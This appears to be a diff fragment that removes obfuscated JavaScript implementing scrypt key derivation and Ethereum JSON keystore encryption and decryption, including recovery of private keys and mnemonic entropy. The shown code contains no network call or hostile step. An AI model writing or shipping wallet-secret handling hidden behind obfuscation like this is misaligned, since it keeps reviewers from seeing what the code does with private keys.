- _0x38e3c3 ^= _0x1490e0(_0x498c58 + _0x2f7aaf | 0, 9);
- _0x1a3deb ^= _0x1490e0(_0x38e3c3 + _0x498c58 | 0, 13);
- _0x2f7aaf ^= _0x1490e0(_0x1a3deb + _0x38e3c3 | 0, 18);
- _0x102f06 ^= _0x1490e0(_0x1ac784 + _0x1bcaad | 0, 7);
- _0x5fec ^= _0x1490e0(_0x102f06 + _0x1ac784 | 0, 9);
- _0x1bcaad ^= _0x1490e0(_0x5fec + _0x102f06 | 0, 13);
- _0x1ac784 ^= _0x1490e0(_0x1bcaad + _0x5fec | 0, 18);
- _0x5a0cdf ^= _0x1490e0(_0xec314e + _0x44712d | 0, 7);
- _0x1f0c75 ^= _0x1490e0(_0x5a0cdf + _0xec314e | 0, 9);
- _0x44712d ^= _0x1490e0(_0x1f0c75 + _0x5a0cdf | 0, 13);
- _0xec314e ^= _0x1490e0(_0x44712d + _0x1f0c75 | 0, 18);
- _0x4e52f1 ^= _0x1490e0(_0x46941f + _0x28df01 | 0, 7);
- _0x2b7273 ^= _0x1490e0(_0x4e52f1 + _0x46941f | 0, 9);
- _0x28df01 ^= _0x1490e0(_0x2b7273 + _0x4e52f1 | 0, 13);
- _0x46941f ^= _0x1490e0(_0x28df01 + _0x2b7273 | 0, 18);
- }
- _0x32e096[_0x371149++] = _0x25a237 + _0x2f7aaf | 0;
- _0x32e096[_0x371149++] = _0x2e03a8 + _0x498c58 | 0;
- _0x32e096[_0x371149++] = _0x21a4b4 + _0x38e3c3 | 0;
- _0x32e096[_0x371149++] = _0x7f5f66 + _0x1a3deb | 0;
- _0x32e096[_0x371149++] = _0x24c9cf + _0x1bcaad | 0;
- _0x32e096[_0x371149++] = _0x383d10 + _0x1ac784 | 0;
- _0x32e096[_0x371149++] = _0x273e0e + _0x102f06 | 0;
- _0x32e096[_0x371149++] = _0x19ed3a + _0x5fec | 0;
- _0x32e096[_0x371149++] = _0x1806fd + _0x1f0c75 | 0;
- _0x32e096[_0x371149++] = _0xe86a6b + _0x44712d | 0;
- _0x32e096[_0x371149++] = _0x5201d7 + _0xec314e | 0;
- _0x32e096[_0x371149++] = _0x2994db + _0x5a0cdf | 0;
- _0x32e096[_0x371149++] = _0x59033e + _0x4e52f1 | 0;
- _0x32e096[_0x371149++] = _0x1dcca9 + _0x2b7273 | 0;
- _0x32e096[_0x371149++] = _0x48be8b + _0x28df01 | 0;
- _0x32e096[_0x371149++] = _0x4e6136 + _0x46941f | 0;
- }
- function _0x4cb01e(_0x1c54f2, _0x40315b, _0x366c7c, _0x1f3bf4, _0x266e67) {
- let _0x11584e = _0x1f3bf4 + 0;
- let _0x3859b = _0x1f3bf4 + 16 * _0x266e67;
- for (let _0x1d9265 = 0; _0x1d9265 < 16; _0x1d9265++) {
- _0x366c7c[_0x3859b + _0x1d9265] = _0x1c54f2[_0x40315b + 16 * (2 * _0x266e67 - 1) + _0x1d9265];
- }
- for (let _0xb09bbf = 0; _0xb09bbf < _0x266e67; _0xb09bbf++, _0x11584e += 16, _0x40315b += 16) {
- _0x58bbeb(_0x366c7c, _0x3859b, _0x1c54f2, _0x40315b, _0x366c7c, _0x11584e);
- _0xb09bbf > 0 && (_0x3859b += 16);
- _0x58bbeb(_0x366c7c, _0x11584e, _0x1c54f2, _0x40315b += 16, _0x366c7c, _0x3859b);
- }
- }
- function _0x447234(_0x59aecd, _0x30da89, _0x416294) {
- const _0x262470 = _0x258e20({
- dkLen: 32,
- asyncTick: 10,
- maxmem: 1073742848
- }, _0x416294);
- const {
- N: _0x36d9bb,
- r: _0x169745,
- p: _0x23e9ba,
- dkLen: _0x3cb145,
- asyncTick: _0x353ec5,
- maxmem: _0x488838,
- onProgress: _0x580fb9
- } = _0x262470;
- if (_0x38422b.number(_0x36d9bb), _0x38422b.number(_0x169745), _0x38422b.number(_0x23e9ba), _0x38422b.number(_0x3cb145), _0x38422b.number(_0x353ec5), _0x38422b.number(_0x488838), undefined !== _0x580fb9 && "function" != typeof _0x580fb9) {
- throw new Error("progressCb should be function");
- }
- const _0x325de0 = 128 * _0x169745;
- const _0xab0f11 = _0x325de0 / 4;
- if (_0x36d9bb <= 1 || 0 != (_0x36d9bb & _0x36d9bb - 1) || _0x36d9bb >= 2 ** (_0x325de0 / 8) || _0x36d9bb > 4294967296) {
- throw new Error("Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32");
- }
- if (_0x23e9ba < 0 || _0x23e9ba > 137438953440 / _0x325de0) {
- throw new Error("Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)");
- }
- if (_0x3cb145 < 0 || _0x3cb145 > 137438953440) {
- throw new Error("Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32");
- }
- const _0x942566 = _0x325de0 * (_0x36d9bb + _0x23e9ba);
- if (_0x942566 > _0x488838) {
- throw new Error("Scrypt: parameters too large, " + _0x942566 + " (128 * r * (N + p)) > " + _0x488838 + " (maxmem)");
- }
- const _0x653e9b = _0x28d598(_0x137671, _0x59aecd, _0x30da89, {
- c: 1,
- dkLen: _0x325de0 * _0x23e9ba
- });
- const _0x31fe94 = _0x2011b4(_0x653e9b);
- const _0x32846b = _0x2011b4(new Uint8Array(_0x325de0 * _0x36d9bb));
- const _0x3ec25c = _0x2011b4(new Uint8Array(_0x325de0));
- let _0xbf25d5 = () => {};
- if (_0x580fb9) {
- const _0x1fb36a = 2 * _0x36d9bb * _0x23e9ba;
- const _0x45a580 = Math.max(Math.floor(_0x1fb36a / 10000), 1);
- let _0x287c0b = 0;
- _0xbf25d5 = () => {
- _0x287c0b++;
- !_0x580fb9 || _0x287c0b % _0x45a580 && _0x287c0b !== _0x1fb36a || _0x580fb9(_0x287c0b / _0x1fb36a);
- };
- }
- return {
- N: _0x36d9bb,
- r: _0x169745,
- p: _0x23e9ba,
- dkLen: _0x3cb145,
- blockSize32: _0xab0f11,
- V: _0x32846b,
- B32: _0x31fe94,
- B: _0x653e9b,
- tmp: _0x3ec25c,
- blockMixCb: _0xbf25d5,
- asyncTick: _0x353ec5
- };
- }
- function _0x20ca8f(_0xe14330, _0x53d5ce, _0x518186, _0x2eb9d0, _0x2f1de0) {
- const _0x1ff26c = _0x28d598(_0x137671, _0xe14330, _0x518186, {
- c: 1,
- dkLen: _0x53d5ce
- });
- _0x518186.fill(0);
- _0x2eb9d0.fill(0);
- _0x2f1de0.fill(0);
- return _0x1ff26c;
- }
- async function _0x2855da(_0xe10569, _0x57a8d5, _0x509e39) {
- const {
- N: _0x47ba22,
- r: _0xf8326b,
- p: _0x4985bd,
- dkLen: _0x1e0f51,
- blockSize32: _0x4d2bf3,
- V: _0x57ea30,
- B32: _0x426ba8,
- B: _0x11dcc6,
- tmp: _0x3dce21,
- blockMixCb: _0x1eb2de,
- asyncTick: _0x41616a
- } = _0x447234(_0xe10569, _0x57a8d5, _0x509e39);
- for (let _0x3c0ba7 = 0; _0x3c0ba7 < _0x4985bd; _0x3c0ba7++) {
- const _0xde8486 = _0x4d2bf3 * _0x3c0ba7;
- for (let _0x2e4b95 = 0; _0x2e4b95 < _0x4d2bf3; _0x2e4b95++) {
- _0x57ea30[_0x2e4b95] = _0x426ba8[_0xde8486 + _0x2e4b95];
- }
- let _0x2ab18b = 0;
- await _0x14ed79(_0x47ba22 - 1, _0x41616a, _0x1b96da => {
- _0x4cb01e(_0x57ea30, _0x2ab18b, _0x57ea30, _0x2ab18b += _0x4d2bf3, _0xf8326b);
- _0x1eb2de();
- });
- _0x4cb01e(_0x57ea30, (_0x47ba22 - 1) * _0x4d2bf3, _0x426ba8, _0xde8486, _0xf8326b);
- _0x1eb2de();
- await _0x14ed79(_0x47ba22, _0x41616a, _0x55b09c => {
- const _0x546b4c = _0x426ba8[_0xde8486 + _0x4d2bf3 - 16] % _0x47ba22;
- for (let _0x28572f = 0; _0x28572f < _0x4d2bf3; _0x28572f++) {
- _0x3dce21[_0x28572f] = _0x426ba8[_0xde8486 + _0x28572f] ^ _0x57ea30[_0x546b4c * _0x4d2bf3 + _0x28572f];
- }
- _0x4cb01e(_0x3dce21, 0, _0x426ba8, _0xde8486, _0xf8326b);
- _0x1eb2de();
- });
- }
- return _0x20ca8f(_0xe10569, _0x1e0f51, _0x11dcc6, _0x57ea30, _0x3dce21);
- }
- var _0x201192 = false;
- var _0x4971ef = false;
- var _0x54c3a3 = function () {
- var _0xa0126f = _0x203d83(_0x4afc9d.mark(function _0x551f4c(_0x719256, _0xf4b697, _0x2f54a5, _0x554c23, _0x214ed4, _0x4cfd8f, _0x47e9a4) {
- return _0x4afc9d.wrap(function (_0xcd5b14) {
- for (;;) {
- switch (_0xcd5b14.prev = _0xcd5b14.next) {
- case 0:
- _0xcd5b14.next = 2;
- return _0x2855da(_0x719256, _0xf4b697, {
- N: _0x2f54a5,
- r: _0x554c23,
- p: _0x214ed4,
- dkLen: _0x4cfd8f,
- onProgress: _0x47e9a4
- });
- case 2:
- return _0xcd5b14.abrupt("return", _0xcd5b14.sent);
- case 3:
- case "end":
- return _0xcd5b14.stop();
- }
- }
- }, _0x551f4c);
- }));
- return function (_0x443938, _0x3f10c4, _0x308b0d, _0x13c728, _0x3c4938, _0x374596, _0xb12d25) {
- return _0xa0126f.apply(this, arguments);
- };
- }();
- var _0xe1478a = function (_0x33b699, _0x3b5ea6, _0x1f9355, _0x1b38d5, _0x1dc521, _0x19fe72) {
- return function (_0x4c57a0, _0x136f14, _0x12cb2f) {
- const {
- N: _0x5c64b2,
- r: _0x277cb1,
- p: _0x2afcc8,
- dkLen: _0x95c4c6,
- blockSize32: _0x42822c,
- V: _0x180ea7,
- B32: _0x5a5e90,
- B: _0x40f2b6,
- tmp: _0x31ce28,
- blockMixCb: _0x2749e2
- } = _0x447234(_0x4c57a0, _0x136f14, _0x12cb2f);
- for (let _0x48e30e = 0; _0x48e30e < _0x2afcc8; _0x48e30e++) {
- const _0x629954 = _0x42822c * _0x48e30e;
- for (let _0x30e105 = 0; _0x30e105 < _0x42822c; _0x30e105++) {
- _0x180ea7[_0x30e105] = _0x5a5e90[_0x629954 + _0x30e105];
- }
- for (let _0x2cb77c = 0, _0x20877d = 0; _0x2cb77c < _0x5c64b2 - 1; _0x2cb77c++) {
- _0x4cb01e(_0x180ea7, _0x20877d, _0x180ea7, _0x20877d += _0x42822c, _0x277cb1);
- _0x2749e2();
- }
- _0x4cb01e(_0x180ea7, (_0x5c64b2 - 1) * _0x42822c, _0x5a5e90, _0x629954, _0x277cb1);
- _0x2749e2();
- for (let _0x52af51 = 0; _0x52af51 < _0x5c64b2; _0x52af51++) {
- const _0x4de670 = _0x5a5e90[_0x629954 + _0x42822c - 16] % _0x5c64b2;
- for (let _0x183cc4 = 0; _0x183cc4 < _0x42822c; _0x183cc4++) {
- _0x31ce28[_0x183cc4] = _0x5a5e90[_0x629954 + _0x183cc4] ^ _0x180ea7[_0x4de670 * _0x42822c + _0x183cc4];
- }
- _0x4cb01e(_0x31ce28, 0, _0x5a5e90, _0x629954, _0x277cb1);
- _0x2749e2();
- }
- }
- return _0x20ca8f(_0x4c57a0, _0x95c4c6, _0x40f2b6, _0x180ea7, _0x31ce28);
- }(_0x33b699, _0x3b5ea6, {
- N: _0x1f9355,
- r: _0x1b38d5,
- p: _0x1dc521,
- dkLen: _0x19fe72
- });
- };
- var _0xbac3ed = _0x54c3a3;
- var _0x415736 = _0xe1478a;
- function _0x235b48(_0x24a8d9, _0x437468, _0x2337a1, _0x4954a3, _0x57149d, _0x37fa06, _0x1b19ee) {
- return _0x5cbc5a.apply(this, arguments);
- }
- function _0x5cbc5a() {
- _0x5cbc5a = _0x203d83(_0x4afc9d.mark(function _0x59f0d1(_0x587a29, _0x453706, _0x2e2956, _0x13d520, _0x36f6a2, _0xd4d27f, _0x5d2289) {
- var _0x524994;
- var _0x23926b;
- return _0x4afc9d.wrap(function (_0x4121af) {
- for (;;) {
- switch (_0x4121af.prev = _0x4121af.next) {
- case 0:
- _0x524994 = _0x2565f8(_0x587a29, "passwd");
- _0x23926b = _0x2565f8(_0x453706, "salt");
- _0x4121af.t0 = _0x192257;
- _0x4121af.next = 5;
- return _0xbac3ed(_0x524994, _0x23926b, _0x2e2956, _0x13d520, _0x36f6a2, _0xd4d27f, _0x5d2289);
- case 5:
- _0x4121af.t1 = _0x4121af.sent;
- return _0x4121af.abrupt("return", (0, _0x4121af.t0)(_0x4121af.t1));
- case 7:
- case "end":
- return _0x4121af.stop();
- }
- }
- }, _0x59f0d1);
- }));
- return _0x5cbc5a.apply(this, arguments);
- }
- function _0x24191b(_0x4d31ee, _0x4c7345, _0x4d91fd, _0x3a4a8f, _0x40f3f6, _0x128bac) {
- var _0x10c825 = _0x2565f8(_0x4d31ee, "passwd");
- var _0x5c24b5 = _0x2565f8(_0x4c7345, "salt");
- return _0x192257(_0x415736(_0x10c825, _0x5c24b5, _0x4d91fd, _0x3a4a8f, _0x40f3f6, _0x128bac));
- }
- function _0xe98a1e(_0x16100e) {
- var _0x37db8d = _0x2565f8(_0x16100e, "randomBytes");
- _0x37db8d[6] = 15 & _0x37db8d[6] | 64;
- _0x37db8d[8] = 63 & _0x37db8d[8] | 128;
- var _0x4dfb9f = _0x192257(_0x37db8d);
- return [_0x4dfb9f.substring(2, 10), _0x4dfb9f.substring(10, 14), _0x4dfb9f.substring(14, 18), _0x4dfb9f.substring(18, 22), _0x4dfb9f.substring(22, 34)].join("-");
- }
- function _0x3c9cb4(_0x1d8c81, _0x436d84) {
- (null == _0x436d84 || _0x436d84 > _0x1d8c81.length) && (_0x436d84 = _0x1d8c81.length);
- for (var _0x30a66d = 0, _0x6f34e6 = new Array(_0x436d84); _0x30a66d < _0x436d84; _0x30a66d++) {
- _0x6f34e6[_0x30a66d] = _0x1d8c81[_0x30a66d];
- }
- return _0x6f34e6;
- }
- function _0x4fcb9c(_0x1cc742) {
- "string" != typeof _0x1cc742 || _0x1cc742.startsWith("0x") || (_0x1cc742 = "0x" + _0x1cc742);
- return _0x32958d(_0x1cc742);
- }
- function _0xbca0b3(_0x32a3b, _0x2306f2) {
- for (_0x32a3b = String(_0x32a3b); _0x32a3b.length < _0x2306f2;) {
- _0x32a3b = "0" + _0x32a3b;
- }
- return _0x32a3b;
- }
- function _0x387c7f(_0x254f79) {
- return "string" == typeof _0x254f79 ? _0x1667a1(_0x254f79, "NFKC") : _0x32958d(_0x254f79);
- }
- function _0x5e8a06(_0x4be35d, _0x2d59ad) {
- var _0x1896ac = _0x2d59ad.match(/^([a-z0-9$_.-]*)(:([a-z]+))?(!)?$/i);
- _0x413a2d(null != _0x1896ac, "invalid path", "path", _0x2d59ad);
- var _0x5012c1;
- var _0x2fed58 = _0x1896ac[1];
- var _0x24dc88 = _0x1896ac[3];
- var _0x12d067 = "!" === _0x1896ac[4];
- var _0x3c0d79 = _0x4be35d;
- var _0x505cd9 = function (_0x29d8a0, _0x11e50a) {
- var _0x129cde = "undefined" != typeof Symbol && _0x29d8a0[Symbol.iterator] || _0x29d8a0["@@iterator"];
- if (!_0x129cde) {
- if (Array.isArray(_0x29d8a0) || (_0x129cde = function (_0x57e9da, _0x59bec7) {
- if (_0x57e9da) {
- if ("string" == typeof _0x57e9da) {
- return _0x3c9cb4(_0x57e9da, _0x59bec7);
- }
- var _0x3ea589 = Object.prototype.toString.call(_0x57e9da).slice(8, -1);
- "Object" === _0x3ea589 && _0x57e9da.constructor && (_0x3ea589 = _0x57e9da.constructor.name);
- return "Map" === _0x3ea589 || "Set" === _0x3ea589 ? Array.from(_0x57e9da) : "Arguments" === _0x3ea589 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x3ea589) ? _0x3c9cb4(_0x57e9da, _0x59bec7) : undefined;
- }
- }(_0x29d8a0)) || _0x11e50a && _0x29d8a0 && "number" == typeof _0x29d8a0.length) {
- _0x129cde && (_0x29d8a0 = _0x129cde);
- var _0x3c08b3 = 0;
- var _0x187660 = function () {};
- return {
- s: _0x187660,
- n: function () {
- return _0x3c08b3 >= _0x29d8a0.length ? {
- done: true
- } : {
- done: false,
- value: _0x29d8a0[_0x3c08b3++]
- };
- },
- e: function (_0x330e98) {
- throw _0x330e98;
- },
- f: _0x187660
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x2dd6ac;
- var _0x42e058 = true;
- var _0x1a68d4 = false;
- return {
- s: function () {
- _0x129cde = _0x129cde.call(_0x29d8a0);
- },
- n: function () {
- var _0x349703 = _0x129cde.next();
- _0x42e058 = _0x349703.done;
- return _0x349703;
- },
- e: function (_0x1a46f7) {
- _0x1a68d4 = true;
- _0x2dd6ac = _0x1a46f7;
- },
- f: function () {
- try {
- _0x42e058 || null == _0x129cde.return || _0x129cde.return();
- } finally {
- if (_0x1a68d4) {
- throw _0x2dd6ac;
- }
- }
- }
- };
- }(_0x2fed58.toLowerCase().split("."));
- try {
- for (_0x505cd9.s(); !(_0x5012c1 = _0x505cd9.n()).done;) {
- var _0x5b399b = _0x5012c1.value;
- if (Array.isArray(_0x3c0d79)) {
- if (!_0x5b399b.match(/^[0-9]+$/)) {
- break;
- }
- _0x3c0d79 = _0x3c0d79[parseInt(_0x5b399b)];
- } else {
- if ("object" === _0x4dce66(_0x3c0d79)) {
- var _0x24b87e = null;
- for (var _0x282960 in _0x3c0d79) if (_0x282960.toLowerCase() === _0x5b399b) {
- _0x24b87e = _0x3c0d79[_0x282960];
- break;
- }
- _0x3c0d79 = _0x24b87e;
- } else {
- _0x3c0d79 = null;
- }
- }
- if (null == _0x3c0d79) {
- break;
- }
- }
- } catch (_0x1a96ca) {
- _0x505cd9.e(_0x1a96ca);
- } finally {
- _0x505cd9.f();
- }
- if (_0x413a2d(!_0x12d067 || null != _0x3c0d79, "missing required value", "path", _0x2fed58), _0x24dc88 && null != _0x3c0d79) {
- if ("int" === _0x24dc88) {
- if ("string" == typeof _0x3c0d79 && _0x3c0d79.match(/^-?[0-9]+$/)) {
- return parseInt(_0x3c0d79);
- }
- if (Number.isSafeInteger(_0x3c0d79)) {
- return _0x3c0d79;
- }
- }
- if ("number" === _0x24dc88 && "string" == typeof _0x3c0d79 && _0x3c0d79.match(/^-?[0-9.]*$/)) {
- return parseFloat(_0x3c0d79);
- }
- if ("data" === _0x24dc88 && "string" == typeof _0x3c0d79) {
- return _0x4fcb9c(_0x3c0d79);
- }
- if ("array" === _0x24dc88 && Array.isArray(_0x3c0d79)) {
- return _0x3c0d79;
- }
- if (_0x24dc88 === _0x4dce66(_0x3c0d79)) {
- return _0x3c0d79;
- }
- _0x413a2d(false, "wrong type found for ".concat(_0x24dc88, " "), "path", _0x2fed58);
- }
- return _0x3c0d79;
- }
- _0x235b48._ = _0x54c3a3;
- _0x235b48.lock = function () {
- _0x4971ef = true;
- };
- _0x235b48.register = function (_0x250975) {
- if (_0x4971ef) {
- throw new Error("scrypt is locked");
- }
- _0xbac3ed = _0x250975;
- };
- Object.freeze(_0x235b48);
- _0x24191b._ = _0xe1478a;
- _0x24191b.lock = function () {
- _0x201192 = true;
- };
- _0x24191b.register = function (_0x126261) {
- if (_0x201192) {
- throw new Error("scryptSync is locked");
- }
- _0x415736 = _0x126261;
- };
- Object.freeze(_0x24191b);
- var _0x11eec0 = "m/44'/60'/0'/0/0";
- function _0x474af8(_0x58ac57) {
- try {
- var _0x62307d = JSON.parse(_0x58ac57);
- if (3 === (null != _0x62307d.version ? parseInt(_0x62307d.version) : 0)) {
- return true;
- }
- } catch (_0x2a5d03) {}
- return false;
- }
- function _0x1c7b5c(_0x40c766, _0xfac6c9) {
- var _0x3f32cf = _0x2565f8(_0xfac6c9);
- var _0x383aeb = _0x5e8a06(_0x40c766, "crypto.ciphertext:data!");
- _0x413a2d(_0x192257(_0xa68238(_0x251cd2([_0x3f32cf.slice(16, 32), _0x383aeb]))).substring(2) === _0x5e8a06(_0x40c766, "crypto.mac:string!").toLowerCase(), "incorrect password", "password", "[ REDACTED ]");
- var _0x5437a8 = function (_0x18c24d, _0x39d3c0, _0x585a73) {
- if ("aes-128-ctr" === _0x5e8a06(_0x18c24d, "crypto.cipher:string")) {
- var _0x3f99eb = _0x5e8a06(_0x18c24d, "crypto.cipherparams.iv:data!");
- return _0x192257(new _0x349a77(_0x39d3c0, _0x3f99eb).decrypt(_0x585a73));
- }
- _0x2b816d(false, "unsupported cipher", "UNSUPPORTED_OPERATION", {
- operation: "decrypt"
- });
- }(_0x40c766, _0x3f32cf.slice(0, 16), _0x383aeb);
- var _0x5b0e7a = _0x1f62c(_0x5437a8);
- if (_0x40c766.address) {
- var _0xb11fc7 = _0x40c766.address.toLowerCase();
- _0xb11fc7.startsWith("0x") || (_0xb11fc7 = "0x" + _0xb11fc7);
- _0x413a2d(_0x46447e(_0xb11fc7) === _0x5b0e7a, "keystore address/privateKey mismatch", "address", _0x40c766.address);
- }
- var _0x2c2ec9 = {
- address: _0x5b0e7a,
- privateKey: _0x5437a8
- };
- if ("0.1" === _0x5e8a06(_0x40c766, "x-ethers.version:string")) {
- var _0x446bd3 = _0x3f32cf.slice(32, 64);
- var _0x5b92fc = _0x5e8a06(_0x40c766, "x-ethers.mnemonicCiphertext:data!");
- var _0x5370d0 = _0x5e8a06(_0x40c766, "x-ethers.mnemonicCounter:data!");
- var _0x57da8e = new _0x349a77(_0x446bd3, _0x5370d0);
- _0x2c2ec9.mnemonic = {
- path: _0x5e8a06(_0x40c766, "x-ethers.path:string") || _0x11eec0,
- locale: _0x5e8a06(_0x40c766, "x-ethers.locale:string") || "en",
- entropy: _0x192257(_0x2565f8(_0x57da8e.decrypt(_0x5b92fc)))
- };
- }
- return _0x2c2ec9;
- }
- function _0x195ccc(_0x1fc338) {
- var _0x38385d = _0x5e8a06(_0x1fc338, "crypto.kdf:string");
- if (_0x38385d && "string" == typeof _0x38385d) {
- if ("scrypt" === _0x38385d.toLowerCase()) {
- var _0x1353f0 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.salt:data!");
- var _0x11f54f = _0x5e8a06(_0x1fc338, "crypto.kdfparams.n:int!");
- var _0x414a89 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.r:int!");
- var _0x5ab887 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.p:int!");
- _0x413a2d(_0x11f54f > 0 && 0 == (_0x11f54f & _0x11f54f - 1), "invalid kdf.N", "kdf.N", _0x11f54f);
- _0x413a2d(_0x414a89 > 0 && _0x5ab887 > 0, "invalid kdf", "kdf", _0x38385d);
- var _0x10049f = _0x5e8a06(_0x1fc338, "crypto.kdfparams.dklen:int!");
- _0x413a2d(32 === _0x10049f, "invalid kdf.dklen", "kdf.dflen", _0x10049f);
- return {
- name: "scrypt",
- salt: _0x1353f0,
- N: _0x11f54f,
- r: _0x414a89,
- p: _0x5ab887,
- dkLen: 64
- };
- }
- if ("pbkdf2" === _0x38385d.toLowerCase()) {
- var _0x3e2dd2 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.salt:data!");
- var _0x37308d = _0x5e8a06(_0x1fc338, "crypto.kdfparams.prf:string!");
- var _0x1e503c = _0x37308d.split("-").pop();
- _0x413a2d("sha256" === _0x1e503c || "sha512" === _0x1e503c, "invalid kdf.pdf", "kdf.pdf", _0x37308d);
- var _0xe25f77 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.c:int!");
- var _0x93a318 = _0x5e8a06(_0x1fc338, "crypto.kdfparams.dklen:int!");
- _0x413a2d(32 === _0x93a318, "invalid kdf.dklen", "kdf.dklen", _0x93a318);
- return {
- name: "pbkdf2",
- salt: _0x3e2dd2,
- count: _0xe25f77,
- dkLen: _0x93a318,
- algorithm: _0x1e503c
- };
- }
- }
- _0x413a2d(false, "unsupported key-derivation function", "kdf", _0x38385d);
- }
- function _0x165500(_0x4b1e14) {
- return new Promise(function (_0x11e81f) {
- setTimeout(function () {
- _0x11e81f();
- }, _0x4b1e14);
- });
- }
- function _0x19dfd4(_0x4bbfad, _0x16078f, _0x4d42a3) {
- return _0x10c61e.apply(this, arguments);
- }
- function _0x10c61e() {
- _0x10c61e = _0x203d83(_0x4afc9d.mark(function _0x5f0b86(_0x22dde6, _0xa50bae, _0x94ac0d) {
- var _0x51c388;
- var _0x400512;
- var _0x52e505;
- var _0x5a931c;
- var _0x1d475a;
- var _0x40d760;
- var _0x5021fe;
- var _0x3ce27b;
- var _0x10e201;
- var _0x4ca215;
- var _0x1158e8;
- var _0x4d08ea;
- var _0x280913;
- var _0x522361;
- return _0x4afc9d.wrap(function (_0x41d05c) {
- for (;;) {
- switch (_0x41d05c.prev = _0x41d05c.next) {
- case 0:
- if (_0x51c388 = JSON.parse(_0x22dde6), _0x400512 = _0x387c7f(_0xa50bae), "pbkdf2" !== (_0x52e505 = _0x195ccc(_0x51c388)).name) {
- _0x41d05c.next = 15;
- break;
- }
- if (!_0x94ac0d) {
- _0x41d05c.next = 8;
- break;
- }
- _0x94ac0d(0);
- _0x41d05c.next = 8;
- return _0x165500(0);
- case 8:
- if (_0x5a931c = _0x52e505.salt, _0x1d475a = _0x52e505.count, _0x40d760 = _0x52e505.dkLen, _0x5021fe = _0x52e505.algorithm, _0x3ce27b = _0x7a213d(_0x400512, _0x5a931c, _0x1d475a, _0x40d760, _0x5021fe), !_0x94ac0d) {
- _0x41d05c.next = 14;
- break;
- }
- _0x94ac0d(1);
- _0x41d05c.next = 14;
- return _0x165500(0);
- case 14:
- return _0x41d05c.abrupt("return", _0x1c7b5c(_0x51c388, _0x3ce27b));
- case 15:
- _0x2b816d("scrypt" === _0x52e505.name, "cannot be reached", "UNKNOWN_ERROR", {
- params: _0x52e505
- });
- _0x10e201 = _0x52e505.salt;
- _0x4ca215 = _0x52e505.N;
- _0x1158e8 = _0x52e505.r;
- _0x4d08ea = _0x52e505.p;
- _0x280913 = _0x52e505.dkLen;
- _0x41d05c.next = 19;
- return _0x235b48(_0x400512, _0x10e201, _0x4ca215, _0x1158e8, _0x4d08ea, _0x280913, _0x94ac0d);
- case 19:
- _0x522361 = _0x41d05c.sent;
- return _0x41d05c.abrupt("return", _0x1c7b5c(_0x51c388, _0x522361));
- case 21:
- case "end":
- return _0x41d05c.stop();
- }
- }
- }, _0x5f0b86);
- }));
- return _0x10c61e.apply(this, arguments);
- }
- function _0x2b3f87(_0x561fc5) {
- var _0x31b05d = null != _0x561fc5.salt ? _0x2565f8(_0x561fc5.salt, "options.salt") : _0x28446a(32);
- var _0x4ae256 = 131072;
- var _0xbcf2fb = 8;
- var _0x1bf2d9 = 1;
- _0x561fc5.scrypt && (_0x561fc5.scrypt.N && (_0x4ae256 = _0x561fc5.scrypt.N), _0x561fc5.scrypt.r && (_0xbcf2fb = _0x561fc5.scrypt.r), _0x561fc5.scrypt.p && (_0x1bf2d9 = _0x561fc5.scrypt.p));
- _0x413a2d("number" == typeof _0x4ae256 && _0x4ae256 > 0 && Number.isSafeInteger(_0x4ae256) && (BigInt(_0x4ae256) & BigInt(_0x4ae256 - 1)) === BigInt(0), "invalid scrypt N parameter", "options.N", _0x4ae256);
- _0x413a2d("number" == typeof _0xbcf2fb && _0xbcf2fb > 0 && Number.isSafeInteger(_0xbcf2fb), "invalid scrypt r parameter", "options.r", _0xbcf2fb);
- _0x413a2d("number" == typeof _0x1bf2d9 && _0x1bf2d9 > 0 && Number.isSafeInteger(_0x1bf2d9), "invalid scrypt p parameter", "options.p", _0x1bf2d9);
- return {
- name: "scrypt",
- dkLen: 32,
- salt: _0x31b05d,
- N: _0x4ae256,
- r: _0xbcf2fb,
- p: _0x1bf2d9
- };
- }
- function _0x599af0(_0x496250, _0x16611b, _0x49dc59, _0x17ffc1) {
- var _0x57c936 = _0x2565f8(_0x49dc59.privateKey, "privateKey");
- var _0x38291d = null != _0x17ffc1.iv ? _0x2565f8(_0x17ffc1.iv, "options.iv") : _0x28446a(16);
- _0x413a2d(16 === _0x38291d.length, "invalid options.iv length", "options.iv", _0x17ffc1.iv);
- var _0xb814b1 = null != _0x17ffc1.uuid ? _0x2565f8(_0x17ffc1.uuid, "options.uuid") : _0x28446a(16);
- _0x413a2d(16 === _0xb814b1.length, "invalid options.uuid length", "options.uuid", _0x17ffc1.iv);
- var _0x3bb26a = _0x496250.slice(0, 16);
- var _0x462f7c = _0x496250.slice(16, 32);
- var _0x4bf8ce = _0x2565f8(new _0x349a77(_0x3bb26a, _0x38291d).encrypt(_0x57c936));
- var _0x5e13cd = _0xa68238(_0x251cd2([_0x462f7c, _0x4bf8ce]));
- var _0x20f4dd = {
- address: _0x49dc59.address.substring(2).toLowerCase(),
- id: _0xe98a1e(_0xb814b1),
- version: 3,
- Crypto: {
- cipher: "aes-128-ctr",
- cipherparams: {
- iv: _0x192257(_0x38291d).substring(2)
- },
- ciphertext: _0x192257(_0x4bf8ce).substring(2),
- kdf: "scrypt",
- kdfparams: {
- salt: _0x192257(_0x16611b.salt).substring(2),
- n: _0x16611b.N,
- dklen: 32,
- p: _0x16611b.p,
- r: _0x16611b.r
- },
- mac: _0x5e13cd.substring(2)
- }
- };
- if (_0x49dc59.mnemonic) {
- var _0x190d4b = null != _0x17ffc1.client ? _0x17ffc1.client : "ethers/".concat(_0x2774bb);
- var _0x2609cc = _0x49dc59.mnemonic.path || _0x11eec0;
- var _0x30d0a5 = _0x49dc59.mnemonic.locale || "en";
- var _0x1152b1 = _0x496250.slice(32, 64);
- var _0x2c797a = _0x2565f8(_0x49dc59.mnemonic.entropy, "account.mnemonic.entropy");
- var _0x2bfcec = _0x28446a(16);
- var _0x2ddf82 = _0x2565f8(new _0x349a77(_0x1152b1, _0x2bfcec).encrypt(_0x2c797a));
